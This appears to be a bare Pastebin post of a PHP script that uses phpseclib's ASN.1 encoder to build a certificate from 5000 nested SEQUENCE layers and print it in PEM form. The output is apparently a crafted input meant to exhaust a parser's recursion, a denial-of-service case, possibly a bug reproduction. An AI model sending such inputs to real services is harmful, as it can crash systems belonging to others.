Advertisement
Guest User

Untitled

a guest
Feb 9th, 2015
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.35 KB | None | 0 0
  1. <?php
  2. include('File/ASN1.php');
  3.  
  4. $asn1 = new File_ASN1();
  5. $output = chr(FILE_ASN1_TYPE_NULL) . "\x00";
  6. for ($i = 0; $i < 5000; $i++) {
  7.     $output = chr(FILE_ASN1_TYPE_SEQUENCE | 0x20) . $asn1->_encodeLength(strlen($output)) . $output;
  8. }
  9. echo "-----BEGIN CERTIFICATE-----\r\n" . chunk_split(base64_encode($output)) . '-----END CERTIFICATE-----';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement